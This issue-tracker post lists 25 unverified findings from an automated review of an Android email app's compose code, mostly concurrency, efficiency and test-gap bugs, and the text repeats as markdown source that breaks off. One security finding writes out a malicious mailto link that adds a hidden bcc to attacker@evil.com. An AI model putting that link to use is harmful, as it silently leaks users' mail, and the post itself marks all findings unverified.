review(compose/send): unverified triage findings from 2026-07-09 whole-repo review (12 medium, 13 low) #497

Open
opened 2026-07-10 19:15:20 +00:00 by JMR-dev · 0 comments
JMR-dev commented 2026-07-10 19:15:20 +00:00 (Migrated from github.com)

Source: whole-repo multi-agent review, 2026-07-09 (run wf_b41de68c-e85). The run was cut short by usage limits before its verification pass, so every finding below is an unverified finder candidate — validate each against the current code before implementing. Findings are listed medium first, then low. Critical/high candidates from the same run were verified separately and have their own issues.

Medium (12)

app/src/main/kotlin/org/libremail/data/AttachmentCache.kt:13 — attachmentCacheDir — the shared writer/pruner contract whose own doc warns that divergence 'would silently leak orphaned files' — has no test of its own: no test pins the [^A-Za-z0-9.-] -> '' sanitized mapping (an on-disk persistence contract) or documents its known collision property (distinct message ids like 'a:b' and 'a_b' map to the same directory); it appears in the suite only as a helper inside AccountRepositoryImplTest.

  • severity: medium · category: correctness · angle: logic · flagged by 4 finder(s)

A well-meaning change tweaks the sanitizer (e.g. switches '_' to '-' or percent-encoding to reduce collisions). Every test stays green because tests derive expected paths by calling the same function. On upgrade, all attachments already cached on disk under old-style names are orphaned — the pruner and reader no longer find them — permanently leaking cache storage; conversely nothing would ever catch a change that widens the collision set, where pruning one message deletes another message's cached attachments.

app/src/main/kotlin/org/libremail/data/attachment/AttachmentUriGrants.kt:41 — Grant release is keyed solely to DB-row deletion (callers pass a deleted row's URIs) while grant take is keyed to picker actions in the UI layer, so any URI removed at the state level — removeAttachment chip, inline-image token deleted via onBodyChange pruning, or a pick that never reaches an autosaved row — leaks its persistable grant forever.

  • severity: medium · category: concurrency · angle: concurrency · flagged by 2 finder(s)

User picks an inline image (ComposeScreen takes a persistable grant), then deletes its [image: …] token before the 1.5s autosave, or removes an attachment chip after an autosave (the row is rewritten without the URI, not deleted). No deletion event ever passes that URI to releaseUnreferenced, so the grant is held indefinitely — accumulating toward the per-app persisted-grant cap, which is exactly the silently-failing-take → broken-draft-image-reload failure this class was created to prevent. A reconciliation at the reference-set level (release anything no draft/outbox row references, on a sweep) would fix it once instead of per-caller.

app/src/main/kotlin/org/libremail/ui/compose/ComposeScreen.kt:412 — queryFileName performs a synchronous cross-process ContentResolver.query (OpenableColumns.DISPLAY_NAME) on the main thread, once per picked URI, inside the activity-result callbacks of both pickers.

  • severity: medium · category: correctness · angle: pitfalls · flagged by 3 finder(s)

User multi-selects 10 attachments from a slow DocumentsProvider (e.g. Google Drive / OneDrive over a poor connection). The OpenMultipleDocuments callback runs uris.map { ... queryFileName(context, uri) } on the main thread: 10 sequential binder round-trips to the remote provider, each of which can block for seconds — frozen compose UI and a plausible ANR. Cheaper alternative: pass the raw URIs to the ViewModel and resolve display names in a viewModelScope coroutine on Dispatchers.IO (mirroring how MailRepositoryImpl already does attachment I/O off-main), updating the chips when names arrive.

app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:216 — onBodyChange re-parses the entire body HTML through RichTextHtmlParser on every keystroke — inside the _state.update lambda on the main thread — even when the message has no inline attachments to reconcile, which is the overwhelmingly common case.

  • severity: medium · category: efficiency · angle: efficiency

User types into a formatted reply carrying a large quoted body (e.g. 30 KB of HTML). Each keystroke the editor already serializes the whole model to HTML (RichTextEditor.emit), then onBodyChange calls referencedContentIds(html) which runs a full character-by-character RichTextHtmlParser.parse of that same HTML just to extract cid: image ids — pure waste since attachments contains no isInline entries, so the subsequent filter is a no-op. Two full-body passes per keystroke on the UI thread cause typing jank on low-end devices. Cheaper alternative: guard with s.attachments.any { it.isInline } (or a fast "cid:" in html pre-check) before parsing; the filter result is unchanged when no inline attachments exist.

app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:227 — onBodyChange re-derives referenced inline-image content ids by fully re-parsing the just-serialized HTML (RichTextHtml.fromHtml) on every keystroke, a layer above the editor which already held the parsed RichTextContent (with its images list) in emit() and threw it away.

  • severity: medium · category: efficiency · angle: pitfalls · flagged by 3 finder(s)

Typing in a long formatted body costs a full HTML parse per keystroke in the ViewModel on top of the editor's own AnnotatedString→model conversion (the toolbar memoization in #308 explicitly fought this same cost). The pruning policy also silently depends on toHtml/fromHtml agreeing exactly about images: any future serializer change that alters cid emission makes the ViewModel-side reparse disagree with the editor and wrongly drop inline attachments. Reporting referenced ids (or the RichTextContent) from the editor callback removes both the cost and the coupling.

app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:248 — selectFrom launches applySignature as unserialized concurrent coroutines (also racing init's default-signature apply); each suspends on per-account repository reads and the last completer wins _state.fromAccountId and the signature, so a slower earlier read overrides the user's most recent From-account selection.

  • severity: medium · category: concurrency · angle: concurrency

User switches From from account A to B, then quickly to C (or selects an account while init's default apply is still awaiting settingsRepository/accountSettingsRepository reads). If B's accountSettingsRepository.get/signatureRepository.getDefault resolve after C's, B's _state.update runs last: fromAccountId reverts to B and B's signature is appended, while the user believes C is selected. If unnoticed, the mail is sent from the wrong account with the wrong signature.

app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:265 — applySignature can only strip the block it applied this session (appliedSignatureBlock starts EMPTY for resumed drafts), but reply/forward drafts arrive with the signature already baked in by MailRepositoryImpl.buildReplyDraft — so changing the From account on any resumed draft appends the new account's signature without removing the old one, producing a message signed with two (one wrong) signatures.

  • severity: medium · category: correctness · angle: crossfile

User taps Reply (buildReplyDraft bakes account A's '-- Cheers, Alice' above the quote and compose resumes it as a draft, appliedSignatureBlock == EMPTY), then switches From to account B: the body keeps Alice's signature and gains '\n\n-- \nBest, Bob' at the end. The mail goes out from Bob's account still carrying Alice's signature unless the user manually notices and deletes it. Same duplication for any autosaved draft reopened later and switched.

app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:337 — Removing an attachment/inline image mid-compose drops its URI from state but never releases the persistable read grant taken on pick, so the app retains indefinite read access to files the user removed and leaks grants toward the per-app persisted-grant cap.

  • severity: medium · category: resource-leak · angle: logic · flagged by 4 finder(s)

User attaches photo A (ComposeScreen.takePersistableUriPermission grants persistent read), then taps the remove chip -> removeAttachment() filters A's URI out of state, and the autosave persists the draft without A. When the draft is later deleted/sent, MailRepositoryImpl.releaseUnreferenced is passed only the remaining row's URIs, so A's grant is never released. The app keeps persistent read access to A forever (privacy leak), and repeating this exhausts the ~128/512 persisted-grant cap, after which future takePersistableUriPermission calls fail silently and a legitimately-kept draft image can no longer be reloaded.

app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:404 — The autosave pipeline's drop(1) only skips the seed state, so the async signature-apply / draft-load init updates count as 'edits', and hasContent counts the auto-appended signature as content — every abandoned untouched compose creates a signature-only junk draft, and merely opening an existing draft rewrites it with a fresh updatedAt.

  • severity: medium · category: correctness · angle: concurrency

Account has a signature enabled. User opens Compose (init's applySignature sets body to '\n\n-- \nsig' -> a second DraftContent emission passes drop(1)), then backs out without typing: onExit's saveOrDeleteDraft sees body.isNotBlank() and persists a draft containing only the signature — the Drafts folder accumulates one junk draft per abandoned compose. Separately, opening a resumed draft (draftId != null) emits the loaded content past drop(1), so 1.5 s of just reading a draft re-saves it with updatedAt = now, churning drafts ordering.

app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:408 — saveOrDeleteDraft's hasContent check counts the auto-appended signature as user content, so merely opening and leaving the compose screen (or idling 1.5s past the autosave debounce) with a signature-enabled account persists a junk signature-only draft — a new one per visit, accumulating indefinitely.

  • severity: medium · category: correctness · angle: invariants

Account has a default signature and signatureEnabled. User taps Compose, then immediately taps Back (or switches away for >1.5s, triggering the debounced autosave). init's applySignature set body = '\n\n-- \nCheers, Alice', so s.body.isNotBlank() is true and a draft is saved under a fresh persistedDraftId; the emptied-draft delete branch never runs because the body can never become blank (the signature is part of it). Every compose open->exit adds another 'signature-only' row to the Drafts list; the intended invariant 'no draft is kept unless the user actually composed something' is broken whenever a signature is configured.

app/src/main/kotlin/org/libremail/ui/compose/IntentComposeParser.kt:37 — fromShare never reads EXTRA_STREAM, so attachments in ACTION_SEND / ACTION_SEND_MULTIPLE shares are silently dropped — and a share that carries only a stream (no EXTRA_TEXT) is consumed (IntentHandledMarker marks it) yet parse() returns null, so no compose screen opens at all.

  • severity: medium · category: correctness · angle: logic · flagged by 4 finder(s)

The manifest advertises ACTION_SEND and ACTION_SEND_MULTIPLE for message/rfc822, the conventional 'share file as email attachment' MIME (file managers, 'share APK', camera 'email' targets). User picks LibreMail: fillBlanksFrom reads only EXTRA_EMAIL/CC/BCC/SUBJECT/TEXT. If the share had text, compose opens without the attached file (user sends mail missing the attachment they explicitly shared); if it had only EXTRA_STREAM, ComposePrefill.isEmpty is true, parse() returns null, MainActivity.handleIntent has already marked the intent handled, and the share does nothing visible.

app/src/main/kotlin/org/libremail/ui/compose/RichTextEditor.kt:120 — The rich-text editor's external re-seed branch (body/bodyHtml prop changed by a resumed draft load or a From-account signature swap, detected via the lastEmitted guard) is exercised by no test: RichTextEditorTest covers only the pure helpers, ComposeScreenJvmTest mocks the VM with a state flow that never changes after composition, and the instrumented ComposeScreenTest never resumes a draft or configures a signature, so the branch never fires anywhere in the suite.

  • severity: medium · category: test-gap · angle: tests

A refactor breaks the body to bodyHtml != lastEmitted comparison or the re-seed body (e.g. forgets to reset baseStyle or value). CI stays fully green. A user then opens a saved draft: the ViewModel loads the draft content but the field still shows the stale/empty seed; the user types one character, emit() pushes the field's (empty) content up through onBodyChange, and the 1.5s autosave overwrites the persisted draft with it — silent draft-content loss. The signature swap on From change likewise never appears in the visible body.

Low (13)

app/src/androidTest/kotlin/org/libremail/ui/compose/ComposeScreenTest.kt:219 — formattingToolbar_buttonsCarryOnClickLabelsForAccessibility (and its JVM twin in ComposeScreenJvmTest line 336) claims to check that "every toolbar button" carries a TalkBack onClickLabel but hard-codes only 7 of the 11 glyph buttons, omitting "S" (strikethrough), "A" (font color), "H" (highlight), and "🖼" (inline image), so those four buttons' labels are unasserted.

  • severity: low · category: test-gap · angle: tests

A change to FormatButton call sites drops or mislabels the onClickLabel on the strikethrough/color/highlight/image buttons (e.g. a copy-paste of a new button without a description). Both accessibility tests pass, and TalkBack users get unannounced, unlabeled toolbar buttons in a shipped release; the same hard-coded list also means any newly added button ships with zero accessibility coverage by default.

app/src/main/kotlin/org/libremail/data/attachment/AttachmentUriGrants.kt:46 — referencedUris loads every draft and every outbox row in full (SELECT * — including each row's complete body and bodyHtml text) and JSON-decodes every row's attachments blob, just to build a set of attachment URI strings, on every draft delete and every outbox send/cancel.

  • severity: low · category: efficiency · angle: efficiency

A user with ~100 accumulated drafts averaging 50–100 KB of body/bodyHtml each deletes one draft (or a queued message sends): DraftDao.getAll() + OutboxDao.getAll() materialize several megabytes of body text into memory and run toOutgoingAttachments JSON parsing per row, only for everything except the uri strings to be discarded. Repeats on each release call (e.g. sending several queued messages). Cheaper alternative: a projection query (@Query("SELECT attachments FROM drafts") / same for outbox) returning only the attachments column, so bodies are never read off disk.

app/src/main/kotlin/org/libremail/richtext/RichTextEditing.kt:244 — markerAt/markerLengthAt (plus the private ORDERED regex at line 242) re-implement the block-marker recognition that already exists as the internal, same-package helper lineMarker/ORDERED_PREFIX in RichText.kt (lines 95-104) — markerLengthAt is exactly lineMarker(line)?.length ?: 0 and markerAt is lineMarker(line) mapped to the BlockMarker enum.

  • severity: low · category: reuse · angle: reuse · flagged by 3 finder(s)

The definition of what counts as a block marker now lives in two files: RichText.kt's lineMarker drives hasFormatting() and RichTextHtml serialization (classify), while RichTextEditing's private copies drive the toolbar's toggleBlock/hasBlock. If one copy changes (e.g. the ordered-item pattern is extended to '1)' or the bullet glyph changes), the toolbar will insert/strip prefixes that the HTML serializer no longer maps to

    /
      /
      (or vice versa), so a 'formatted' body goes out with literal marker text instead of list markup, and hasFormatting() disagrees with the editor about whether the message needs an HTML body. Fix: have markerAt/markerLengthAt delegate to lineMarker (which also removes the O(rest-of-text) substring copies).

      app/src/main/kotlin/org/libremail/ui/compose/ComposeScreen.kt:93 — takePersistableUriPermission failures in both compose pickers are swallowed by bare runCatching with no AppLog, violating CLAUDE.md's Definition of done ('No app source-code change is complete without appropriate logging added at its key points — ... error/fallback paths') — AttachmentUriGrants.kt's own KDoc names this exact silent failure mode ('a silently-swallowed take fails a later draft's image reload').

      • severity: low · category: conventions · angle: conventions

      User has hit the per-app persisted-URI-grant cap (or picks from a provider that does not offer persistable grants): the take at ComposeScreen.kt:93-95 (attachments) or 105-107 (inline images) throws SecurityException, runCatching discards it, the attachment is still added, and when the saved draft is reopened later the file/image fails to load with zero trace in the RingLogBuffer/DebugReport — the maintainer cannot diagnose the user's 'my draft lost its attachment' report.

      app/src/main/kotlin/org/libremail/ui/compose/ComposeScreen.kt:124 — The ON_STOP -> viewModel.flushDraft() lifecycle wiring (the #177 fix that flushes the debounced autosave when the app is backgrounded) has no test: flushDraft() itself is unit-tested, but no JVM or instrumented test ever transitions the composed screen's lifecycle to STOPPED — ComposeScreenJvmTest builds its own LifecycleRegistry, pins it at RESUMED, and never moves it, even though driving it to CREATED and verifying vm.flushDraft() would be trivial there.

      • severity: low · category: test-gap · angle: tests

      Someone removes or reorders the LifecycleEventEffect (e.g. merging it into the ON_RESUME effect, or a compose-lifecycle API migration drops it). All tests pass. A user composes, switches apps within the 1.5s debounce window, and Android kills the process: the last edits (or the whole draft, if nothing was ever flushed) are lost — the exact regression #177 was shipped to prevent, returning silently.

      app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:148 — The resumed-draft load in init overwrites the whole compose state unconditionally when it completes, clobbering any recipients/subject/body keystrokes the user entered while the Room read was in flight.

      • severity: low · category: concurrency · angle: invariants

      User opens a draft on a device under I/O pressure (Room read delayed a few hundred ms), immediately taps the To field and types an address, or starts editing the body. When getDraft returns, _state.update replaces to/cc/bcc/subject/body/attachments with the persisted values, discarding the keystrokes; the editor re-seeds (body/bodyHtml changed) so the typed text disappears. There is no 'already edited' guard or field-level merge.

      app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:191 — The autosave pipeline's drop(1) only skips the pristine initial state, not the draft-load emission, so merely opening a resumed draft (zero user edits) triggers an autosave that rewrites the row with a fresh updatedAt, reordering the Drafts list by 'last viewed' instead of 'last edited'.

      • severity: low · category: correctness · angle: invariants

      User opens an old draft from the Drafts list just to read it and backs out without typing. The getDraft load is the second DraftContent emission (the first, pristine one was dropped), it passes distinctUntilChanged, and 1.5s later autosaveDraft() -> saveDraft(...) writes updatedAt = now. The untouched draft jumps to the top of the drafts list and its true last-edited timestamp is lost; every subsequent peek repeats this.

      app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:290 — stripSuffixIfPresent re-implements stdlib String.removeSuffix: both guards are redundant (removeSuffix already no-ops when the receiver doesn't end with the suffix, and removing an empty suffix is a no-op), so the helper is exactly removeSuffix — which the neighbouring swapHtmlSignature (line 283) already calls directly for the identical HTML-side strip.

      • severity: low · category: reuse · angle: reuse

      Dead wrapper with a name implying extra semantics it doesn't have: the plaintext signature strip (line 265) and the HTML signature strip (line 283) look like two different operations when they are the same one, so a reader auditing the signature-swap logic must verify the helper adds nothing. Deleting it and calling removeSuffix in both places makes the plain/HTML paths visibly symmetric at zero behavior change.

      app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:498 — performSend's onFailure branch — the only place an outbox-enqueue failure surfaces — has no AppLog call (the whole compose/drafts/outbox UI layer has zero logging), violating CLAUDE.md's Definition of done requirement that error/fallback paths be logged so behaviour is diagnosable from a user's debug report.

      • severity: low · category: conventions · angle: conventions

      MailRepositoryImpl.sendMessage's runCatching fails before the message reaches the outbox (e.g. copyAttachments throws IOException because the picked content URI's grant was revoked, or 'Account not found'): the user sees only a transient snackbar with e.message, nothing is written to the RingLogBuffer (SendWorker logging covers only messages already queued), and a debug report for 'send did nothing' contains no record that a send was even attempted or why it failed.

      app/src/main/kotlin/org/libremail/ui/compose/MailtoParser.kt:49 — cc/bcc headers from an untrusted mailto: link are honored verbatim into the compose prefill, so a malicious link can silently add a blind recipient to a message the user sends.

      • severity: low · category: security · angle: security

      A web page links mailto:you@corp.com?bcc=attacker@evil.com&subject=...&body=... . Tapping it (ACTION_VIEW) prefills bcc with attacker@evil.com. RFC 6068 s.7 warns clients should not automatically honor recipient headers from untrusted sources; although the Bcc field auto-expands, a user who sends without scrutinizing it silently exfiltrates the message (and any typed reply content) to the attacker.

      app/src/main/kotlin/org/libremail/ui/compose/MailtoParser.kt:109 — decodeEscape uses String.toIntOrNull(16), which accepts a leading '+' or '-' sign, so malformed escapes like '%+A' or '%-1' are 'decoded' (to 0x0A, or to a negative value written as byte 0xFF) instead of passing through verbatim as the function's contract documents.

      • severity: low · category: correctness · angle: logic · flagged by 3 finder(s)

      A mailto: link containing 'foo%-1bar@example.com' (malformed escape that should survive verbatim per the doc comment) prefills the To field as 'fooÿbar@example.com' - the '-1' parses to -1 and ByteArrayOutputStream.write(-1) emits byte 0xFF, corrupting the address; '%+A' silently becomes a newline inside a recipient/subject instead of the literal three characters.

      app/src/main/kotlin/org/libremail/ui/compose/RichTextEditor.kt:643 — clearStyle's span-splitting flatMap is a third copy of the range-subtraction algorithm already in RichTextEditing.kt (private subtractRange for spans, line 219, itself duplicated verbatim as subtractLinkRange for links, line 230); the clear operation should be a RichTextEditing op (e.g. clearStyleKind) built on the shared subtractRange instead of re-implementing the split in the UI layer.

      • severity: low · category: reuse · angle: reuse

      The 'remove the [start,end) slice of a run, keep the flanks' logic exists in three places. Bug #298 already showed this class of logic needs fixing centrally (applyLink's partial-overlap handling); the next such fix or semantic change (e.g. merging kept fragments via mergeSameValueSpans, or boundary-inclusive clearing) applied to RichTextEditing.subtractRange will silently not reach clearStyle in RichTextEditor.kt, so the color pickers' 'no color' entry splits spans differently from toggleStyle over the same selection. It also leaves the only editing op that lives outside the deliberately JVM-testable RichTextEditing object.

      app/src/main/kotlin/org/libremail/ui/compose/format/FontSizePicker.kt:54 — The formatting toolbar's button chrome (clip(shapes.small) + secondaryContainer-when-active background + clickable(role=Button, onClickLabel) + 12x8dp padding) is copy-pasted four times — FormatButton (RichTextEditor.kt:416), AlignButton (ParagraphAlignmentControl.kt:64), and the anchor rows of FontSizePicker (here) and FontPicker (FontPicker.kt:51) — and FontPicker/FontSizePicker are wholesale structural clones (identical anchor + leading-'Default' DropdownMenu) differing only in the item list.

      • severity: low · category: reuse · angle: reuse

      Any change to the toolbar buttons' shared treatment — touch-target size for accessibility, active-state colors, ripple/shape, or the onClickLabel-instead-of-contentDescription a11y convention the KDoc calls out — must be repeated in four files; miss one and a single toolbar renders visibly mismatched buttons or exposes inconsistent TalkBack behavior between, say, the bold button and the alignment buttons sitting next to it. A shared FormatButton/toolbar-chrome composable in ui/compose/format (and one generic dropdown for the two pickers) removes the drift risk.

Source: whole-repo multi-agent review, 2026-07-09 (run `wf_b41de68c-e85`). The run was cut short by usage limits before its verification pass, so every finding below is an **unverified finder candidate** — validate each against the current code before implementing. Findings are listed medium first, then low. Critical/high candidates from the same run were verified separately and have their own issues. ## Medium (12) ### `app/src/main/kotlin/org/libremail/data/AttachmentCache.kt:13` — attachmentCacheDir — the shared writer/pruner contract whose own doc warns that divergence 'would silently leak orphaned files' — has no test of its own: no test pins the [^A-Za-z0-9._-] -> '_' sanitized mapping (an on-disk persistence contract) or documents its known collision property (distinct message ids like 'a:b' and 'a_b' map to the same directory); it appears in the suite only as a helper inside AccountRepositoryImplTest. - severity: **medium** · category: `correctness` · angle: `logic` · flagged by 4 finder(s) > A well-meaning change tweaks the sanitizer (e.g. switches '_' to '-' or percent-encoding to reduce collisions). Every test stays green because tests derive expected paths by calling the same function. On upgrade, all attachments already cached on disk under old-style names are orphaned — the pruner and reader no longer find them — permanently leaking cache storage; conversely nothing would ever catch a change that widens the collision set, where pruning one message deletes another message's cached attachments. ### `app/src/main/kotlin/org/libremail/data/attachment/AttachmentUriGrants.kt:41` — Grant release is keyed solely to DB-row deletion (callers pass a deleted row's URIs) while grant take is keyed to picker actions in the UI layer, so any URI removed at the state level — removeAttachment chip, inline-image token deleted via onBodyChange pruning, or a pick that never reaches an autosaved row — leaks its persistable grant forever. - severity: **medium** · category: `concurrency` · angle: `concurrency` · flagged by 2 finder(s) > User picks an inline image (ComposeScreen takes a persistable grant), then deletes its [image: …] token before the 1.5s autosave, or removes an attachment chip after an autosave (the row is rewritten without the URI, not deleted). No deletion event ever passes that URI to releaseUnreferenced, so the grant is held indefinitely — accumulating toward the per-app persisted-grant cap, which is exactly the silently-failing-take → broken-draft-image-reload failure this class was created to prevent. A reconciliation at the reference-set level (release anything no draft/outbox row references, on a sweep) would fix it once instead of per-caller. ### `app/src/main/kotlin/org/libremail/ui/compose/ComposeScreen.kt:412` — queryFileName performs a synchronous cross-process ContentResolver.query (OpenableColumns.DISPLAY_NAME) on the main thread, once per picked URI, inside the activity-result callbacks of both pickers. - severity: **medium** · category: `correctness` · angle: `pitfalls` · flagged by 3 finder(s) > User multi-selects 10 attachments from a slow DocumentsProvider (e.g. Google Drive / OneDrive over a poor connection). The OpenMultipleDocuments callback runs uris.map { ... queryFileName(context, uri) } on the main thread: 10 sequential binder round-trips to the remote provider, each of which can block for seconds — frozen compose UI and a plausible ANR. Cheaper alternative: pass the raw URIs to the ViewModel and resolve display names in a viewModelScope coroutine on Dispatchers.IO (mirroring how MailRepositoryImpl already does attachment I/O off-main), updating the chips when names arrive. ### `app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:216` — onBodyChange re-parses the entire body HTML through RichTextHtmlParser on every keystroke — inside the _state.update lambda on the main thread — even when the message has no inline attachments to reconcile, which is the overwhelmingly common case. - severity: **medium** · category: `efficiency` · angle: `efficiency` > User types into a formatted reply carrying a large quoted body (e.g. 30 KB of HTML). Each keystroke the editor already serializes the whole model to HTML (RichTextEditor.emit), then onBodyChange calls referencedContentIds(html) which runs a full character-by-character RichTextHtmlParser.parse of that same HTML just to extract cid: image ids — pure waste since attachments contains no isInline entries, so the subsequent filter is a no-op. Two full-body passes per keystroke on the UI thread cause typing jank on low-end devices. Cheaper alternative: guard with s.attachments.any { it.isInline } (or a fast "cid:" in html pre-check) before parsing; the filter result is unchanged when no inline attachments exist. ### `app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:227` — onBodyChange re-derives referenced inline-image content ids by fully re-parsing the just-serialized HTML (RichTextHtml.fromHtml) on every keystroke, a layer above the editor which already held the parsed RichTextContent (with its images list) in emit() and threw it away. - severity: **medium** · category: `efficiency` · angle: `pitfalls` · flagged by 3 finder(s) > Typing in a long formatted body costs a full HTML parse per keystroke in the ViewModel on top of the editor's own AnnotatedString→model conversion (the toolbar memoization in #308 explicitly fought this same cost). The pruning policy also silently depends on toHtml/fromHtml agreeing exactly about images: any future serializer change that alters cid emission makes the ViewModel-side reparse disagree with the editor and wrongly drop inline attachments. Reporting referenced ids (or the RichTextContent) from the editor callback removes both the cost and the coupling. ### `app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:248` — selectFrom launches applySignature as unserialized concurrent coroutines (also racing init's default-signature apply); each suspends on per-account repository reads and the last completer wins _state.fromAccountId and the signature, so a slower earlier read overrides the user's most recent From-account selection. - severity: **medium** · category: `concurrency` · angle: `concurrency` > User switches From from account A to B, then quickly to C (or selects an account while init's default apply is still awaiting settingsRepository/accountSettingsRepository reads). If B's accountSettingsRepository.get/signatureRepository.getDefault resolve after C's, B's _state.update runs last: fromAccountId reverts to B and B's signature is appended, while the user believes C is selected. If unnoticed, the mail is sent from the wrong account with the wrong signature. ### `app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:265` — applySignature can only strip the block it applied this session (appliedSignatureBlock starts EMPTY for resumed drafts), but reply/forward drafts arrive with the signature already baked in by MailRepositoryImpl.buildReplyDraft — so changing the From account on any resumed draft appends the new account's signature without removing the old one, producing a message signed with two (one wrong) signatures. - severity: **medium** · category: `correctness` · angle: `crossfile` > User taps Reply (buildReplyDraft bakes account A's '-- Cheers, Alice' above the quote and compose resumes it as a draft, appliedSignatureBlock == EMPTY), then switches From to account B: the body keeps Alice's signature and gains '\n\n-- \nBest, Bob' at the end. The mail goes out from Bob's account still carrying Alice's signature unless the user manually notices and deletes it. Same duplication for any autosaved draft reopened later and switched. ### `app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:337` — Removing an attachment/inline image mid-compose drops its URI from state but never releases the persistable read grant taken on pick, so the app retains indefinite read access to files the user removed and leaks grants toward the per-app persisted-grant cap. - severity: **medium** · category: `resource-leak` · angle: `logic` · flagged by 4 finder(s) > User attaches photo A (ComposeScreen.takePersistableUriPermission grants persistent read), then taps the remove chip -> removeAttachment() filters A's URI out of state, and the autosave persists the draft without A. When the draft is later deleted/sent, MailRepositoryImpl.releaseUnreferenced is passed only the *remaining* row's URIs, so A's grant is never released. The app keeps persistent read access to A forever (privacy leak), and repeating this exhausts the ~128/512 persisted-grant cap, after which future takePersistableUriPermission calls fail silently and a legitimately-kept draft image can no longer be reloaded. ### `app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:404` — The autosave pipeline's drop(1) only skips the seed state, so the async signature-apply / draft-load init updates count as 'edits', and hasContent counts the auto-appended signature as content — every abandoned untouched compose creates a signature-only junk draft, and merely opening an existing draft rewrites it with a fresh updatedAt. - severity: **medium** · category: `correctness` · angle: `concurrency` > Account has a signature enabled. User opens Compose (init's applySignature sets body to '\n\n-- \nsig' -> a second DraftContent emission passes drop(1)), then backs out without typing: onExit's saveOrDeleteDraft sees body.isNotBlank() and persists a draft containing only the signature — the Drafts folder accumulates one junk draft per abandoned compose. Separately, opening a resumed draft (draftId != null) emits the loaded content past drop(1), so 1.5 s of just reading a draft re-saves it with updatedAt = now, churning drafts ordering. ### `app/src/main/kotlin/org/libremail/ui/compose/ComposeViewModel.kt:408` — saveOrDeleteDraft's hasContent check counts the auto-appended signature as user content, so merely opening and leaving the compose screen (or idling 1.5s past the autosave debounce) with a signature-enabled account persists a junk signature-only draft — a new one per visit, accumulating indefinitely. - severity: **medium** · category: `correctness` · angle: `invariants` > Account has a default signature and signatureEnabled. User taps Compose, then immediately taps Back (or switches away for >1.5s, triggering the debounced autosave). init's applySignature set body = '\n\n-- \nCheers, Alice', so s.body.isNotBlank() is true and a draft is saved under a fresh persistedDraftId; the emptied-draft delete branch never runs because the body can never become blank (the signature is part of it). Every compose open->exit adds another 'signature-only' row to the Drafts list; the intended invariant 'no draft is kept unless the user actually composed something' is broken whenever a signature is configured. ### `app/src/main/kotlin/org/libremail/ui/compose/IntentComposeParser.kt:37` — fromShare never reads EXTRA_STREAM, so attachments in ACTION_SEND / ACTION_SEND_MULTIPLE shares are silently dropped — and a share that carries only a stream (no EXTRA_TEXT) is consumed (IntentHandledMarker marks it) yet parse() returns null, so no compose screen opens at all. - severity: **medium** · category: `correctness` · angle: `logic` · flagged by 4 finder(s) > The manifest advertises ACTION_SEND and ACTION_SEND_MULTIPLE for message/rfc822, the conventional 'share file as email attachment' MIME (file managers, 'share APK', camera 'email' targets). User picks LibreMail: fillBlanksFrom reads only EXTRA_EMAIL/CC/BCC/SUBJECT/TEXT. If the share had text, compose opens without the attached file (user sends mail missing the attachment they explicitly shared); if it had only EXTRA_STREAM, ComposePrefill.isEmpty is true, parse() returns null, MainActivity.handleIntent has already marked the intent handled, and the share does nothing visible. ### `app/src/main/kotlin/org/libremail/ui/compose/RichTextEditor.kt:120` — The rich-text editor's external re-seed branch (body/bodyHtml prop changed by a resumed draft load or a From-account signature swap, detected via the lastEmitted guard) is exercised by no test: RichTextEditorTest covers only the pure helpers, ComposeScreenJvmTest mocks the VM with a state flow that never changes after composition, and the instrumented ComposeScreenTest never resumes a draft or configures a signature, so the branch never fires anywhere in the suite. - severity: **medium** · category: `test-gap` · angle: `tests` > A refactor breaks the `body to bodyHtml != lastEmitted` comparison or the re-seed body (e.g. forgets to reset baseStyle or value). CI stays fully green. A user then opens a saved draft: the ViewModel loads the draft content but the field still shows the stale/empty seed; the user types one character, emit() pushes the field's (empty) content up through onBodyChange, and the 1.5s autosave overwrites the persisted draft with it — silent draft-content loss. The signature swap on From change likewise never appears in the visible body. ## Low (13) ### `app/src/androidTest/kotlin/org/libremail/ui/compose/ComposeScreenTest.kt:219` — formattingToolbar_buttonsCarryOnClickLabelsForAccessibility (and its JVM twin in ComposeScreenJvmTest line 336) claims to check that "every toolbar button" carries a TalkBack onClickLabel but hard-codes only 7 of the 11 glyph buttons, omitting "S" (strikethrough), "A" (font color), "H" (highlight), and "🖼" (inline image), so those four buttons' labels are unasserted. - severity: **low** · category: `test-gap` · angle: `tests` > A change to FormatButton call sites drops or mislabels the onClickLabel on the strikethrough/color/highlight/image buttons (e.g. a copy-paste of a new button without a description). Both accessibility tests pass, and TalkBack users get unannounced, unlabeled toolbar buttons in a shipped release; the same hard-coded list also means any newly added button ships with zero accessibility coverage by default. ### `app/src/main/kotlin/org/libremail/data/attachment/AttachmentUriGrants.kt:46` — referencedUris loads every draft and every outbox row in full (SELECT * — including each row's complete body and bodyHtml text) and JSON-decodes every row's attachments blob, just to build a set of attachment URI strings, on every draft delete and every outbox send/cancel. - severity: **low** · category: `efficiency` · angle: `efficiency` > A user with ~100 accumulated drafts averaging 50–100 KB of body/bodyHtml each deletes one draft (or a queued message sends): DraftDao.getAll() + OutboxDao.getAll() materialize several megabytes of body text into memory and run toOutgoingAttachments JSON parsing per row, only for everything except the uri strings to be discarded. Repeats on each release call (e.g. sending several queued messages). Cheaper alternative: a projection query (@Query("SELECT attachments FROM drafts") / same for outbox) returning only the attachments column, so bodies are never read off disk. ### `app/src/main/kotlin/org/libremail/richtext/RichTextEditing.kt:244` — markerAt/markerLengthAt (plus the private ORDERED regex at line 242) re-implement the block-marker recognition that already 